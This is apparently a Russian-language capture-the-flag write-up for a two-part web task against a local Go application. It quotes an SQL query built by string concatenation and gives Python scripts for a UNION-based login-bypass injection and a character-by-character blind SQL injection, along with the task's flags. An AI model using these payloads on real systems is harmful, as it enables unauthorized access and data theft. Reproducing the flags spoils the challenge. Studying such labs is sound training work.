**Web 10. Обмани жителей**

**Web-2 - Обмани жителя (1/2)**

Жители этой деревни хранят страшные тайны, скрывая их от посторонних. Но мы уверены, что именно ты сможешь раскрыть их. Для начала узнай, что староста обсуждал с ведьмой.

Рекомендуемые утилиты: burp suite, Python и др.  
Цель работы: получить доступ к личным сообщениям пользователя «замстаросты»  
Итог работы: получить доступ к флагу.  
Критерий оценки: предоставление корректного флага.

**Web-2  - Обмани жителя (2/2)**

Жители этой деревни хранят страшные тайны, скрывая их от посторонних. Но мы уверены, что именно ты сможешь раскрыть их. Время извлечь тайные знания.

Рекомендуемые утилиты: burp suite, Python, curl и др.

Цель работы: вручную извлечь флаг из базы данных

Итог работы: получить доступ к флагу.

Критерий оценки: предоставление корректного флага.

**Решение**

**Первый флаг**

Основная уязвимость находится в файле auth.go:

err := db.QueryRow("SELECT id, password FROM users WHERE username = '"+creds.Username+"'").Scan(&userID, &storedPassword)

Для получения простого файла надо провести sql атаку, заменив пароль пользователя на известный нам, а id на id админа. ID админа можно найти через api/messages.

итоговый скрипт:

from requests import Session

URL = "http://localhost:5002/"

s = Session()

s.post(URL + "/api/register", json={"username": "user123", "password": "user123"}) # Создаем пользователя

s.post(URL + "/api/login", json={"username": "' UNION SELECT 1,password from users where username='user123' --", "password": "user123"}) # sql инъекция

print(f"FLAG: {s.get(URL + '/api/notes').json()[1]['content']}") # Получаем флаг из заметки 'Секретно'

Флаг - vsosh{s3cr3t\_c0mmunic4ti0n}

**Второй флаг:**

Для получения второго флага нужно провести blind-sql атаку:

from requests import Session

from string import printable

URL = "http://localhost:5002/"

s = Session()

s.post(URL + "/api/register", json={"username": "user123", "password": 'user123'}) # Создаем пользователя

s.post(URL + "/api/login", json={"username": "user123", "password": "user123"}) # Авторизуемся

user\_id = s.get(URL + "/api/me").json()['id'] # Получаем id пользователя для дальнейшей эксплуатации blind sqli

working = True

out = ""

char\_index = 1

while working:

print(f'[-] Trying to find char {char\_index}')

found = False

for i in printable:

s = Session()

s.post(URL + "/api/login", json={"username": f"' UNION SELECT (CASE WHEN SUBSTRING((SELECT content FROM notes WHERE title = 'СУПЕР СЕКРЕТНО' LIMIT 1) FROM {char\_index} FOR 1) = CHR({ord(i)}) THEN {user\_id} ELSE 1 END), password FROM users WHERE username = 'user123' --", "password": "user123"}) # посимвольно подбираем содержимое заметки 'СУПЕР СЕКРЕТНО'

if s.get(URL + "/api/me").json()['id'] == user\_id: # Если пользователь имеет id пользователя, то значит подобрали правильный символ

out += i

print(f'[+] Found char: {i}')

if i == '}':

working = False

found = True

break

if not found:

print(f"[-] Char {char\_index} not found")

break

char\_index += 1

print(f"[+]Flag: {out}")

Все вышеописанные уязвимости возможно проэксплуатировать при помощи sqlmap

Флаг - vsosh{r34lly\_s3cr3t\_kn0wl3dg3}